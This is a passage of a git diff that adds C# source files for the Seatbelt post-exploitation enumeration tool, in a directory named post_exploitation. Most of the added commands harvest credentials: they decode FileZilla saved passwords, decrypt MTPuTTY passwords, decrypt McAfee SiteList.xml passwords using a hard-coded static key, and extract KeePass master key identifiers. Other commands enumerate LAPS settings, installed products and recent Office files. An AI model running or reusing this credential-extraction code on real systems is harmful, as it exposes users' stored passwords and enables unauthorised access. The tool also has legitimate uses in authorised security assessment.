(mpSub.Key == "LastModifiedTime") + { + DateTime parsedDate; + DateTime.TryParse(mpSub.Value, out parsedDate); + string formattedDate = parsedDate.ToString("ddd dd MMM yyyy HH:mm:ss"); + WriteLine(" {0} : {1} ({2})", mpSub.Key, mpSub.Value, formattedDate); + } + else + { + WriteLine(" {0} : {1}", mpSub.Key, mpSub.Value); + } + } + WriteLine(""); + } + } + WriteLine(""); + } + } + } +} \ No newline at end of file diff --git a/post_exploitation/Seatbelt/Seatbelt/Commands/Products/FileZillaCommand.cs b/post_exploitation/Seatbelt/Seatbelt/Commands/Products/FileZillaCommand.cs new file mode 100644 index 0000000..dc85e18 --- /dev/null +++ b/post_exploitation/Seatbelt/Seatbelt/Commands/Products/FileZillaCommand.cs @@ -0,0 +1,181 @@ +using System; +using System.Collections.Generic; +using System.IO; +using System.Xml; +using Seatbelt.Output.TextWriters; +using Seatbelt.Output.Formatters; + + +namespace Seatbelt.Commands +{ + class FileZillaConfig + { + public FileZillaConfig(string filePath, string name, string host, string port, string protocol, string userName, string password) + { + FilePath = filePath; + Name = name; + Host = host; + Port = port; + Protocol = protocol; + UserName = userName; + Password = password; + } + public string FilePath { get; set; } + + public string Name { get; set; } + + public string Host { get; set; } + + public string Port { get; set; } + + public string Protocol { get; set; } + + public string UserName { get; set; } + + public string Password { get; set; } + } + + + internal class FileZillaCommand : CommandBase + { + public override string Command => "FileZilla"; + public override string Description => "FileZilla configuration files"; + public override CommandGroup[] Group => new[] { CommandGroup.User, CommandGroup.Remote }; + public override bool SupportRemote => true; + public Runtime ThisRunTime; + + public FileZillaCommand(Runtime runtime) : base(runtime) + { + ThisRunTime = runtime; + } + + public override IEnumerable Execute(string[] args) + { + // inspired by https://github.com/EncodeGroup/Gopher/blob/master/Holes/FileZilla.cs (@lefterispan) + + // information on FileZilla master key encryption: + // https://forum.filezilla-project.org/viewtopic.php?f=3&t=64&start=1005#p156191 + + var dirs = ThisRunTime.GetDirectories("\\Users\\"); + + foreach (var dir in dirs) + { + if (dir.EndsWith("Public") || dir.EndsWith("Default") || dir.EndsWith("Default User") || dir.EndsWith("All Users")) + continue; + + var parts = dir.Split('\\'); + var userName = parts[parts.Length - 1]; + var configs = new List(); + + string[] paths = { $"{dir}\\AppData\\Roaming\\FileZilla\\sitemanager.xml", $"{dir}\\AppData\\Roaming\\FileZilla\\recentservers.xml" }; + + foreach (var path in paths) + { + if (!File.Exists(path)) + continue; + + var xmlDoc = new XmlDocument(); + + xmlDoc.Load(path); + + // handle "Servers" (sitemanager.xml) and "RecentServers" (recentservers.xml) + var servers = xmlDoc.GetElementsByTagName("Servers"); + if(servers.Count == 0) + servers = xmlDoc.GetElementsByTagName("RecentServers"); + + // ensure we have at least one server to process + if ((servers.Count == 0) || (servers[0].ChildNodes.Count <= 0)) + continue; + + foreach (XmlNode server in servers[0].ChildNodes) + { + var name = ""; + var tempName = server.SelectSingleNode("Name"); + if (tempName != null) + { + name = server.SelectSingleNode("Name").InnerText; + } + + var host = server.SelectSingleNode("Host").InnerText; + var port = server.SelectSingleNode("Port").InnerText; + var protocol = server.SelectSingleNode("Protocol").InnerText; + var user = server.SelectSingleNode("User").InnerText; + + var tempPassword = server.SelectSingleNode("Pass"); + var password = ""; + + if (tempPassword != null) + { + if (tempPassword.Attributes["encoding"].Value == "base64") + { + password = System.Text.Encoding.UTF8.GetString(Convert.FromBase64String(tempPassword.InnerText)); + } + else + { + password = ""; + } + } + + var config = new FileZillaConfig( + path, + name, + host, + port, + protocol, + user, + password + ); + + configs.Add(config); + } + } + + if (configs.Count > 0) + { + yield return new FileZillaDTO( + userName, + configs + ); + } + } + } + + internal class FileZillaDTO : CommandDTOBase + { + public FileZillaDTO(string userName, List configs) + { + UserName = userName; + Configs = configs; + } + public string UserName { get; set; } + public List Configs { get; set; } + } + + [CommandOutputType(typeof(FileZillaDTO))] + internal class FileZillaFormatter : TextFormatterBase + { + public FileZillaFormatter(ITextWriter writer) : base(writer) + { + } + + public override void FormatResult(CommandBase? command, CommandDTOBase result, bool filterResults) + { + var dto = (FileZillaDTO)result; + + WriteLine($" FileZilla Configs ({dto.UserName}):\n"); + + foreach (var config in dto.Configs) + { + WriteLine($" FilePath : {config.FilePath}"); + WriteLine($" Name : {config.Name}"); + WriteLine($" Host : {config.Host}"); + WriteLine($" Port : {config.Port}"); + WriteLine($" Protocol : {config.Protocol}"); + WriteLine($" Username : {config.UserName}"); + WriteLine($" Password : {config.Password}\n"); + } + WriteLine(); + } + } + } +} diff --git a/post_exploitation/Seatbelt/Seatbelt/Commands/Products/InstalledProductsCommand.cs b/post_exploitation/Seatbelt/Seatbelt/Commands/Products/InstalledProductsCommand.cs new file mode 100644 index 0000000..aa984b3 --- /dev/null +++ b/post_exploitation/Seatbelt/Seatbelt/Commands/Products/InstalledProductsCommand.cs @@ -0,0 +1,90 @@ +using Microsoft.Win32; +using System; +using System.Collections.Generic; + + +namespace Seatbelt.Commands.Windows +{ + internal class InstalledProductsCommand : CommandBase + { + public override string Command => "InstalledProducts"; + public override string Description => "Installed products via the registry"; + public override CommandGroup[] Group => new[] { CommandGroup.Misc }; + public override bool SupportRemote => true; + public Runtime ThisRunTime; + + public InstalledProductsCommand(Runtime runtime) : base(runtime) + { + ThisRunTime = runtime; + } + + public override IEnumerable Execute(string[] args) + { + string[] productKeys = { @"SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\", @"SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall" }; + + foreach (var productKey in productKeys) + { + var architecture = "x86"; + if (productKey.Equals(@"SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall")) + { + architecture = "x64"; + } + + var subkeyNames = ThisRunTime.GetSubkeyNames(RegistryHive.LocalMachine, productKey) ?? new string[] { }; + foreach(var subkeyName in subkeyNames) + { + var DisplayName = ThisRunTime.GetStringValue(RegistryHive.LocalMachine, $"{productKey}\\{subkeyName}", "DisplayName"); + var DisplayVersion = ThisRunTime.GetStringValue(RegistryHive.LocalMachine, $"{productKey}\\{subkeyName}", "DisplayVersion"); + var Publisher = ThisRunTime.GetStringValue(RegistryHive.LocalMachine, $"{productKey}\\{subkeyName}", "Publisher"); + var InstallDateStr = ThisRunTime.GetStringValue(RegistryHive.LocalMachine, $"{productKey}\\{subkeyName}", "InstallDateStr"); + var InstallDate = new DateTime(); + + if (InstallDateStr != null && !String.IsNullOrEmpty(InstallDateStr)) + { + try + { + var year = InstallDateStr.Substring(0, 4); + var month = InstallDateStr.Substring(4, 2); + var day = InstallDateStr.Substring(6, 2); + var date = $"{year}-{month}-{day}"; + InstallDate = DateTime.Parse(date); + } + catch { } + } + + if (DisplayName != null && !String.IsNullOrEmpty(DisplayName)) + { + yield return new InstalledProductsDTO( + DisplayName, + DisplayVersion, + Publisher, + InstallDate, + architecture + ); + } + } + } + } + + internal class InstalledProductsDTO : CommandDTOBase + { + public InstalledProductsDTO(string displayName, string? displayVersion, string? publisher, DateTime installDate, string architecture) + { + DisplayName = displayName; + DisplayVersion = displayVersion; + Publisher = publisher; + InstallDate = installDate; + Architecture = architecture; + } + public string DisplayName { get; } + + public string? DisplayVersion { get; } + + public string? Publisher { get; } + + public DateTime InstallDate { get; } + + public string Architecture { get; } + } + } +} diff --git a/post_exploitation/Seatbelt/Seatbelt/Commands/Products/KeePass.cs b/post_exploitation/Seatbelt/Seatbelt/Commands/Products/KeePass.cs new file mode 100644 index 0000000..cbe072c --- /dev/null +++ b/post_exploitation/Seatbelt/Seatbelt/Commands/Products/KeePass.cs @@ -0,0 +1,81 @@ +using System; +using System.Collections.Generic; +using System.IO; +using Seatbelt.Util; + +namespace Seatbelt.Commands +{ + internal class KeePassCommand : CommandBase + { + public override string Command => "KeePass"; + public override string Description => "Finds KeePass configuration files"; + public override CommandGroup[] Group => new[] { CommandGroup.User, CommandGroup.Remote }; + public override bool SupportRemote => true; + public Runtime ThisRunTime; + + public KeePassCommand(Runtime runtime) : base(runtime) + { + ThisRunTime = runtime; + } + + public override IEnumerable Execute(string[] args) + { + var dirs = ThisRunTime.GetDirectories("\\Users\\"); + + foreach (var dir in dirs) + { + if (dir.EndsWith("Public") || dir.EndsWith("Default") || dir.EndsWith("Default User") || dir.EndsWith("All Users")) + continue; + + if(File.Exists($"{dir}\\AppData\\Roaming\\KeePass\\KeePass.config.xml")) + { + string foundFile = $"{dir}\\AppData\\Roaming\\KeePass\\KeePass.config.xml"; + var lastAccessed = File.GetLastAccessTime(foundFile); + var lastModified = File.GetLastWriteTime(foundFile); + var size = new FileInfo(foundFile).Length; + + yield return new KeePassDTO() + { + FileName = foundFile, + MasterKeyGuid = "", + LastAccessed = lastAccessed, + LastModified = lastModified, + Size = size + }; + } + if (File.Exists($"{dir}\\AppData\\Roaming\\KeePass\\ProtectedUserKey.bin")) + { + string foundFile = $"{dir}\\AppData\\Roaming\\KeePass\\ProtectedUserKey.bin"; + var lastAccessed = File.GetLastAccessTime(foundFile); + var lastModified = File.GetLastWriteTime(foundFile); + var size = new FileInfo(foundFile).Length; + + byte[] blobBytes = File.ReadAllBytes(foundFile); + var offset = 24; + var guidMasterKeyBytes = new byte[16]; + Array.Copy(blobBytes, offset, guidMasterKeyBytes, 0, 16); + var guidMasterKey = new Guid(guidMasterKeyBytes); + var guidString = $"{{{guidMasterKey}}}"; + + yield return new KeePassDTO() + { + FileName = foundFile, + LastAccessed = lastAccessed, + LastModified = lastModified, + MasterKeyGuid = guidString, + Size = size + }; + } + } + } + + internal class KeePassDTO : CommandDTOBase + { + public string? FileName { get; set; } + public string? MasterKeyGuid { get; set; } + public DateTime? LastAccessed { get; set; } + public DateTime? LastModified { get; set; } + public long? Size { get; set; } + } + } +} diff --git a/post_exploitation/Seatbelt/Seatbelt/Commands/Products/LAPSCommand.cs b/post_exploitation/Seatbelt/Seatbelt/Commands/Products/LAPSCommand.cs new file mode 100644 index 0000000..a73b565 --- /dev/null +++ b/post_exploitation/Seatbelt/Seatbelt/Commands/Products/LAPSCommand.cs @@ -0,0 +1,103 @@ +using System.Collections.Generic; +using Microsoft.Win32; +using Seatbelt.Output.Formatters; +using Seatbelt.Output.TextWriters; + + +namespace Seatbelt.Commands +{ + internal class LAPSCommand : CommandBase + { + public override string Command => "LAPS"; + public override string Description => "LAPS settings, if installed"; + public override CommandGroup[] Group => new[] {CommandGroup.System}; + public override bool SupportRemote => true; + public Runtime ThisRunTime; + + public LAPSCommand(Runtime runtime) : base(runtime) + { + ThisRunTime = runtime; + } + + public override IEnumerable Execute(string[] args) + { + var AdmPwdEnabled = ThisRunTime.GetStringValue(RegistryHive.LocalMachine, "Software\\Policies\\Microsoft Services\\AdmPwd", "AdmPwdEnabled"); + + if (AdmPwdEnabled != null && !AdmPwdEnabled.Equals("")) + { + var LAPSAdminAccountName = ThisRunTime.GetStringValue(RegistryHive.LocalMachine, "Software\\Policies\\Microsoft Services\\AdmPwd", "AdminAccountName"); + + var LAPSPasswordComplexity = ThisRunTime.GetStringValue(RegistryHive.LocalMachine, "Software\\Policies\\Microsoft Services\\AdmPwd", "PasswordComplexity"); + + var LAPSPasswordLength = ThisRunTime.GetStringValue(RegistryHive.LocalMachine, "Software\\Policies\\Microsoft Services\\AdmPwd", "PasswordLength"); + + var LAPSPwdExpirationProtectionEnabled = ThisRunTime.GetStringValue(RegistryHive.LocalMachine, "Software\\Policies\\Microsoft Services\\AdmPwd", "PwdExpirationProtectionEnabled"); + + yield return new LapsDTO( + (AdmPwdEnabled == "1"), + LAPSAdminAccountName, + LAPSPasswordComplexity, + LAPSPasswordLength, + LAPSPwdExpirationProtectionEnabled + ); + } + else + { + yield return new LapsDTO( + admPwdEnabled: false, + lapsAdminAccountName: null, + lapsPasswordComplexity: null, + lapsPasswordLength: null, + lapsPwdExpirationProtectionEnabled: null + ); + } + } + + class LapsDTO : CommandDTOBase + { + public LapsDTO(bool admPwdEnabled, string? lapsAdminAccountName, string? lapsPasswordComplexity, string? lapsPasswordLength, string? lapsPwdExpirationProtectionEnabled) + { + AdmPwdEnabled = admPwdEnabled; + LAPSAdminAccountName = lapsAdminAccountName; + LAPSPasswordComplexity = lapsPasswordComplexity; + LAPSPasswordLength = lapsPasswordLength; + LapsPwdExpirationProtectionEnabled = lapsPwdExpirationProtectionEnabled; + } + public bool AdmPwdEnabled { get; } + + public string? LAPSAdminAccountName { get; } + + public string? LAPSPasswordComplexity { get; } + + public string? LAPSPasswordLength { get; } + + public string? LapsPwdExpirationProtectionEnabled { get; } + } + + [CommandOutputType(typeof(LapsDTO))] + internal class LAPSFormatter : TextFormatterBase + { + public LAPSFormatter(ITextWriter writer) : base(writer) + { + } + + public override void FormatResult(CommandBase? command, CommandDTOBase result, bool filterResults) + { + var dto = (LapsDTO)result; + + if(dto.AdmPwdEnabled.Equals("false")) + { + WriteLine(" [*] LAPS not installed"); + } + else + { + WriteLine(" {0,-37} : {1}", "LAPS Enabled", dto.AdmPwdEnabled); + WriteLine(" {0,-37} : {1}", "LAPS Admin Account Name", dto.LAPSAdminAccountName); + WriteLine(" {0,-37} : {1}", "LAPS Password Complexity", dto.LAPSPasswordComplexity); + WriteLine(" {0,-37} : {1}", "LAPS Password Length", dto.LAPSPasswordLength); + WriteLine(" {0,-37} : {1}", "LAPS Expiration Protection Enabled", dto.LapsPwdExpirationProtectionEnabled); + } + } + } + } +} diff --git a/post_exploitation/Seatbelt/Seatbelt/Commands/Products/MTPuTTYCommand.cs b/post_exploitation/Seatbelt/Seatbelt/Commands/Products/MTPuTTYCommand.cs new file mode 100644 index 0000000..3a6f400 --- /dev/null +++ b/post_exploitation/Seatbelt/Seatbelt/Commands/Products/MTPuTTYCommand.cs @@ -0,0 +1,226 @@ +using System; +using System.Collections.Generic; +using System.IO; +using System.Xml; +using System.Text; +using System.Linq; +using System.Runtime.InteropServices; +using Seatbelt.Output.TextWriters; +using Seatbelt.Output.Formatters; +using Seatbelt.Interop; + +namespace Seatbelt.Commands +{ + class MTPuTTYConfig + { + public enum MTPuTTYConType + { + None = 0, + Raw = 1, + Telnet = 2, + Rlogin = 3, + SSH = 4, + Serial = 5 + } + + public MTPuTTYConfig(string DisplayName, string ServerName, string UserName, string Password, string PasswordDelay, string CLParams, string ScriptDelay, MTPuTTYConType ConnType = MTPuTTYConType.SSH, int Port = 0) + { + this.DisplayName = DisplayName; + this.ServerName = ServerName; + this.ConnType = ConnType; + this.Port = Port; + this.UserName = UserName; + this.Password = Password; + this.PasswordDelay = PasswordDelay; + this.CLParams = CLParams; + this.ScriptDelay = ScriptDelay; + } + + + public string DisplayName { get; set; } + public string ServerName { get; set; } + public MTPuTTYConType ConnType { get; set; } + public int Port { get; set; } + public string UserName { get; set; } + public string Password { get; set; } + public string PasswordDelay { get; set; } + public string CLParams { get; set; } + public string ScriptDelay { get; set; } + + } + internal class MTPuTTYCommand : CommandBase + { + public override string Command => "MTPuTTY"; + public override string Description => "MTPuTTY configuration files"; + public override CommandGroup[] Group => new[] { CommandGroup.User }; + public override bool SupportRemote => false; + + public MTPuTTYCommand(Runtime runtime) : base(runtime) + { + } + + public override IEnumerable Execute(string[] args) + { + var userFolder = $"{Environment.GetEnvironmentVariable("SystemDrive")}\\Users\\"; + var dirs = Directory.GetDirectories(userFolder); + + foreach (var dir in dirs) + { + if (dir.EndsWith("Public") || dir.EndsWith("Default") || dir.EndsWith("Default User") || dir.EndsWith("All Users")) + continue; + + var parts = dir.Split('\\'); + var userName = parts[parts.Length - 1]; + var configs = new List(); + + string[] paths = { $"{dir}\\AppData\\Roaming\\TTYPlus\\mtputty.xml" }; + + foreach (var path in paths) + { + if (!File.Exists(path)) + continue; + + + var xmlDoc = new XmlDocument(); + xmlDoc.Load(path); + + var sessions = xmlDoc.GetElementsByTagName("Node"); + + if (sessions.Count == 0) + continue; + + foreach (XmlNode session in sessions) + { + if (session.Attributes["Type"].Value == "1"){ + var displayName =session["DisplayName"].InnerText; + var serverName = session["ServerName"].InnerText; + var conType = int.Parse(session["PuttyConType"].InnerText); + var port = int.Parse(session["Port"].InnerText); + var username = session["UserName"].InnerText; + var encpassword = session["Password"].InnerText; + var passwordDelay = session["PasswordDelay"].InnerText; + var clParams = session["CLParams"].InnerText; + var scriptDelay = session["ScriptDelay"].InnerText; + + // 1 + username + displayname to decrypt + byte[] decryptKey = Encoding.UTF8.GetBytes($"1{username.Trim()}{displayName.Trim()}"); + string password = DecryptUserPassword(decryptKey, encpassword); + + var config = new MTPuTTYConfig(displayName, + serverName, + username, + password, + passwordDelay, + clParams, + scriptDelay, + (MTPuTTYConfig.MTPuTTYConType)conType, + port); + + configs.Add(config); + } + } + } + + if (configs.Count > 0) + { + yield return new MTPuTTYDTO( + userName, + configs + ); + } + } + } + + private string DecryptUserPassword(byte[] pass, string encPass) + { + //Password Decryption code based on code from @ykoster https://gist.github.com/ykoster/0a475e4f09e8e5c714ae741933ab21a2 + string decryptedPass = ""; + IntPtr hProv = IntPtr.Zero; + IntPtr hHash = IntPtr.Zero; + IntPtr hKey = IntPtr.Zero; + uint CRYPT_VERIFY_CONTEXT = 0xF0000000; + uint CALG_SHA = 0x00008004; + uint CALG_RC2 = 0x00006602; + byte[] cipherText = Convert.FromBase64String(encPass); + uint cipherTextLength = (uint)cipherText.Length; + + if (Advapi32.CryptAcquireContext(ref hProv, "", "", 1, CRYPT_VERIFY_CONTEXT)) + { + if (Advapi32.CryptCreateHash(hProv, CALG_SHA, IntPtr.Zero, 0, ref hHash)) + { + if (Advapi32.CryptHashData(hHash, pass, (uint)pass.Length, 0)) + { + if (Advapi32.CryptDeriveKey(hProv, CALG_RC2, hHash, 0, ref hKey)) + { + if (Advapi32.CryptDecrypt(hKey, IntPtr.Zero, true, 0, cipherText, ref cipherTextLength)) + { + cipherText = cipherText.Skip(0).Take((int)cipherTextLength).ToArray(); + if (cipherTextLength > 2 && cipherText[1] == 0x00) + { + decryptedPass = Encoding.Unicode.GetString(cipherText); + } + else + { + decryptedPass = Encoding.UTF8.GetString(cipherText); + } + } + } + } + } + } + + + if (String.IsNullOrEmpty(decryptedPass)) + { + if(Marshal.GetLastWin32Error() == 0) + decryptedPass = "[EMPTY]"; + else + decryptedPass = $"CouldNotDecrypt: {encPass} ({Marshal.GetLastWin32Error()})"; + } + + return decryptedPass; + } + + internal class MTPuTTYDTO : CommandDTOBase + { + public MTPuTTYDTO(string userName, List configs) + { + UserName = userName; + Configs = configs; + } + public string UserName { get; set; } + public List Configs { get; set; } + } + + [CommandOutputType(typeof(MTPuTTYDTO))] + internal class MTPuTTYFormatter : TextFormatterBase + { + public MTPuTTYFormatter(ITextWriter writer) : base(writer) + { + } + + public override void FormatResult(CommandBase? command, CommandDTOBase result, bool filterResults) + { + var dto = (MTPuTTYDTO)result; + + WriteLine($" MTPuTTY Configs ({dto.UserName}):\n"); + + foreach (var config in dto.Configs) + { + WriteLine($" DisplayName : {config.DisplayName}"); + WriteLine($" ServerName : {config.ServerName}"); + WriteLine($" PuttyConType : {config.ConnType}"); + WriteLine($" Port : {config.Port}"); + WriteLine($" UserName : {config.UserName}"); + WriteLine($" Password : {config.Password}"); + WriteLine($" PasswordDelay : {config.PasswordDelay}"); + WriteLine($" CLParams : {config.CLParams}"); + WriteLine($" ScriptDelay : {config.ScriptDelay}"); + WriteLine(); + } + WriteLine(); + } + } + } + +} diff --git a/post_exploitation/Seatbelt/Seatbelt/Commands/Products/McAfeeConfigsCommand.cs b/post_exploitation/Seatbelt/Seatbelt/Commands/Products/McAfeeConfigsCommand.cs new file mode 100644 index 0000000..a88dd5a --- /dev/null +++ b/post_exploitation/Seatbelt/Seatbelt/Commands/Products/McAfeeConfigsCommand.cs @@ -0,0 +1,76 @@ +using System; +using System.Collections.Generic; +using System.IO; +using Seatbelt.Util; + +namespace Seatbelt.Commands +{ + internal class McAfeeConfigsCommand : CommandBase + { + public override string Command => "McAfeeConfigs"; + public override string Description => "Finds McAfee configuration files"; + public override CommandGroup[] Group => new[] { CommandGroup.System }; + public override bool SupportRemote => false; // TODO when remote file searching is worked out... though it might take a while + + public McAfeeConfigsCommand(Runtime runtime) : base(runtime) + { + } + + public override IEnumerable Execute(string[] args) + { + // if -full is passed, or any argument is passed, recursively search common locations for configuration files + if (!Runtime.FilterResults || (args.Length == 1)) + { + string[] paths = { @"C:\Program Files\", @"C:\Program Files (x86)\", @"C:\ProgramData\", @"C:\Documents and Settings\", @"C:\Users\" }; + foreach (string path in paths) + { + foreach (string foundFile in MiscUtil.GetFileList(@"ma.db|SiteMgr.xml|SiteList.xml", path)) + { + var lastAccessed = File.GetLastAccessTime(foundFile); + var lastModified = File.GetLastWriteTime(foundFile); + var size = new FileInfo(foundFile).Length; + + yield return new McAfeeConfigsDTO() + { + FileName = foundFile, + LastAccessed = lastAccessed, + LastModified = lastModified, + Size = size + }; + } + } + } + else + { + string[] paths = { $"{Environment.GetEnvironmentVariable("SystemDrive")}\\Users\\All Users\\McAfee\\Agent\\DB\\ma.db", + $"{Environment.GetEnvironmentVariable("SystemDrive")}\\ProgramData\\McAfee\\Agent\\DB\\ma.db"}; + + foreach (string path in paths) + { + if (File.Exists(path)) + { + var lastAccessed = File.GetLastAccessTime(path); + var lastModified = File.GetLastWriteTime(path); + var size = new FileInfo(path).Length; + + yield return new McAfeeConfigsDTO() + { + FileName = path, + LastAccessed = lastAccessed, + LastModified = lastModified, + Size = size + }; + } + } + } + } + + internal class McAfeeConfigsDTO : CommandDTOBase + { + public string? FileName { get; set; } + public DateTime? LastAccessed { get; set; } + public DateTime? LastModified { get; set; } + public long? Size { get; set; } + } + } +} diff --git a/post_exploitation/Seatbelt/Seatbelt/Commands/Products/McAfeeSiteListCommand.cs b/post_exploitation/Seatbelt/Seatbelt/Commands/Products/McAfeeSiteListCommand.cs new file mode 100644 index 0000000..5ba1580 --- /dev/null +++ b/post_exploitation/Seatbelt/Seatbelt/Commands/Products/McAfeeSiteListCommand.cs @@ -0,0 +1,238 @@ +using System; +using System.Collections.Generic; +using System.IO; +using System.Xml; +using Seatbelt.Output.TextWriters; +using Seatbelt.Output.Formatters; +using Seatbelt.Util; +using System.Security.Cryptography; + +namespace Seatbelt.Commands +{ + class McAfeeSite + { + public McAfeeSite(string type, string name, string server, string relativePath, string shareName, string userName, string domainName, string encPassword, string decPassword) + { + Type = type; + Name = name; + Server = server; + RelativePath = relativePath; + ShareName = shareName; + UserName = userName; + DomainName = domainName; + EncPassword = encPassword; + DecPassword = decPassword; + } + public string Type { get; set; } + + public string Name { get; set; } + + public string Server { get; set; } + + public string RelativePath { get; set; } + + public string ShareName { get; set; } + + public string UserName { get; set; } + + public string DomainName { get; set; } + + public string EncPassword { get; set; } + + public string DecPassword { get; set; } + } + + + internal class McAfeeSiteListCommand : CommandBase + { + public override string Command => "McAfeeSiteList"; + public override string Description => "Decrypt any found McAfee SiteList.xml configuration files."; + public override CommandGroup[] Group => new[] { CommandGroup.Misc }; + public override bool SupportRemote => false; // TODO when remote file searching is worked out... though it might take a while + + public McAfeeSiteListCommand(Runtime runtime) : base(runtime) + { + } + + public static string DecryptSiteListPassword(string b64password) + { + // Adapted from PowerUp: https://github.com/PowerShellMafia/PowerSploit/blob/master/Privesc/PowerUp.ps1#L4128-L4326 + + // References: + // https://github.com/funoverip/mcafee-sitelist-pwd-decryption/ + // https://funoverip.net/2016/02/mcafee-sitelist-xml-password-decryption/ + // https://github.com/tfairane/HackStory/blob/master/McAfeePrivesc.md + // https://www.syss.de/fileadmin/dokumente/Publikationen/2011/SySS_2011_Deeg_Privilege_Escalation_via_Antivirus_Software.pdf + + // static McAfee key XOR key LOL + byte[] XORKey = { 0x12, 0x15, 0x0F, 0x10, 0x11, 0x1C, 0x1A, 0x06, 0x0A, 0x1F, 0x1B, 0x18, 0x17, 0x16, 0x05, 0x19 }; + + // xor the input b64 string with the static XOR key + var passwordBytes = System.Convert.FromBase64String(b64password); + for (var i = 0; i < passwordBytes.Length; i++) + { + passwordBytes[i] = (byte)(passwordBytes[i] ^ XORKey[i % XORKey.Length]); + } + + SHA1 crypto = new SHA1CryptoServiceProvider(); + + // build the static McAfee 3DES key TROLOL + var tDESKey = MiscUtil.Combine(crypto.ComputeHash(System.Text.Encoding.ASCII.GetBytes("")), new byte[] { 0x00, 0x00, 0x00, 0x00 }); + + // set the options we need + var tDESalg = new TripleDESCryptoServiceProvider(); + tDESalg.Mode = CipherMode.ECB; + tDESalg.Padding = PaddingMode.None; + tDESalg.Key = tDESKey; + + // decrypt the unXor'ed block + var decrypted = tDESalg.CreateDecryptor().TransformFinalBlock(passwordBytes, 0, passwordBytes.Length); + var end = Array.IndexOf(decrypted, (byte)0x00); + + // return the final password string + var password = System.Text.Encoding.ASCII.GetString(decrypted, 0, end); + + return password; + } + + public override IEnumerable Execute(string[] args) + { + // paths that might contain SiteList.xml files + string[] paths = { @"C:\Program Files\", @"C:\Program Files (x86)\", @"C:\ProgramData\", @"C:\Documents and Settings\", @"C:\Users\" }; + foreach (var path in paths) + { + foreach (var foundFile in MiscUtil.GetFileList(@"SiteList.xml", path)) + { + var xmlString = File.ReadAllText(foundFile); + + // things crash with this header, so have to remove it + xmlString = xmlString.Replace("", ""); + var xmlDoc = new XmlDocument(); + + xmlDoc.LoadXml(xmlString); + + var sites = xmlDoc.GetElementsByTagName("SiteList"); + + if (sites[0].ChildNodes.Count == 0) + continue; + + var mcafeeSites = new List(); + + foreach (XmlNode site in sites[0].ChildNodes) + { + if (site.Attributes["Name"] == null || site.Attributes["Server"] == null) + { + continue; + } + var type = site.Name; + var name = site.Attributes["Name"].Value; + var server = site.Attributes["Server"].Value; + var relativePath = ""; + var shareName = ""; + var user = ""; + var encPassword = ""; + var decPassword = ""; + var domainName = ""; + + foreach (XmlElement attribute in site.ChildNodes) + { + switch (attribute.Name) + { + case "RelativePath": + relativePath = attribute.InnerText; + break; + case "ShareName": + shareName = attribute.InnerText; + break; + case "UserName": + user = attribute.InnerText; + break; + case "Password": + if(MiscUtil.IsBase64String(attribute.InnerText)) + { + encPassword = attribute.InnerText; + decPassword = DecryptSiteListPassword(encPassword); + } + else + { + decPassword = attribute.InnerText; + } + break; + case "DomainName": + domainName = attribute.InnerText; + break; + default: + break; + } + } + + var config = new McAfeeSite( + type, + name, + server, + relativePath, + shareName, + user, + domainName, + encPassword, + decPassword + ); + + mcafeeSites.Add(config); + } + + if (mcafeeSites.Count > 0) + { + yield return new McAfeeSiteListDTO( + foundFile, + mcafeeSites + ); + } + } + + } + + yield return null; + } + + internal class McAfeeSiteListDTO : CommandDTOBase + { + public McAfeeSiteListDTO(string path, List sites) + { + Path = path; + Sites = sites; + } + public string Path { get; set; } + public List Sites { get; set; } + } + + [CommandOutputType(typeof(McAfeeSiteListDTO))] + internal class McAfeeSiteListFormatter : TextFormatterBase + { + public McAfeeSiteListFormatter(ITextWriter writer) : base(writer) + { + } + + public override void FormatResult(CommandBase? command, CommandDTOBase result, bool filterResults) + { + var dto = (McAfeeSiteListDTO)result; + + WriteLine($" McAfee SiteList Config ({dto.Path}):\n"); + + foreach (var site in dto.Sites) + { + WriteLine($" Type : {site.Type}"); + WriteLine($" Name : {site.Name}"); + WriteLine($" Server : {site.Server}"); + WriteLine($" RelativePath : {site.RelativePath}"); + WriteLine($" ShareName : {site.ShareName}"); + WriteLine($" UserName : {site.UserName}"); + WriteLine($" DomainName : {site.DomainName}"); + WriteLine($" EncPassword : {site.EncPassword}"); + WriteLine($" DecPassword : {site.DecPassword}\n"); + } + WriteLine(); + } + } + } +} diff --git a/post_exploitation/Seatbelt/Seatbelt/Commands/Products/OfficeMRUsCommand.cs b/post_exploitation/Seatbelt/Seatbelt/Commands/Products/OfficeMRUsCommand.cs new file mode 100644 index 0000000..ade7105 --- /dev/null +++ b/post_exploitation/Seatbelt/Seatbelt/Commands/Products/OfficeMRUsCommand.cs @@ -0,0 +1,202 @@ +#nullable disable +using Microsoft.Win32; +using Seatbelt.Util; +using System; +using System.Collections.Generic; +using Seatbelt.Output.TextWriters; +using Seatbelt.Output.Formatters; +using Seatbelt.Interop; +using System.Linq; +using System.Text.RegularExpressions; +using System.Globalization; + +namespace Seatbelt.Commands.Windows +{ + class OfficeMRU + { + public string Product { get; set; } + + public string Type { get; set; } + + public string FileName { get; set; } + } + + internal class OfficeMRUsCommand : CommandBase + { + public override string Command => "OfficeMRUs"; + public override string Description => "Office most recently used file list (last 7 days)"; + public override CommandGroup[] Group => new[] { CommandGroup.User }; + public override bool SupportRemote => false; // TODO but a bit more complicated + + public OfficeMRUsCommand(Runtime runtime) : base(runtime) + { + } + + + public override IEnumerable Execute(string[] args) + { + var lastDays = 7; + + // parses recent file shortcuts via COM + if (args.Length == 1) + { + lastDays = int.Parse(args[0]); + } + else if (!Runtime.FilterResults) + { + lastDays = 30; + } + + WriteHost("Enumerating Office most recently used files for the last {0} days", lastDays); + WriteHost("\n {0,-8} {1,-23} {2,-12} {3}", "App", "User", "LastAccess", "FileName"); + WriteHost(" {0,-8} {1,-23} {2,-12} {3}", "---", "----", "----------", "--------"); + + foreach (var file in EnumRecentOfficeFiles(lastDays).OrderByDescending(e => ((OfficeRecentFilesDTO)e).LastAccessDate)) + { + yield return file; + } + } + + private IEnumerable EnumRecentOfficeFiles(int lastDays) + { + foreach (var sid in Registry.Users.GetSubKeyNames()) + { + if (!sid.StartsWith("S-1") || sid.EndsWith("_Classes")) + { + continue; + } + + string userName = null; + try + { + userName = Advapi32.TranslateSid(sid); + } + catch + { + userName = sid; + } + + var officeVersion = + RegistryUtil.GetSubkeyNames(RegistryHive.Users, $"{sid}\\Software\\Microsoft\\Office") + ?.Where(k => float.TryParse(k, NumberStyles.AllowDecimalPoint, new CultureInfo("en-GB"), out _)); + + if (officeVersion is null) 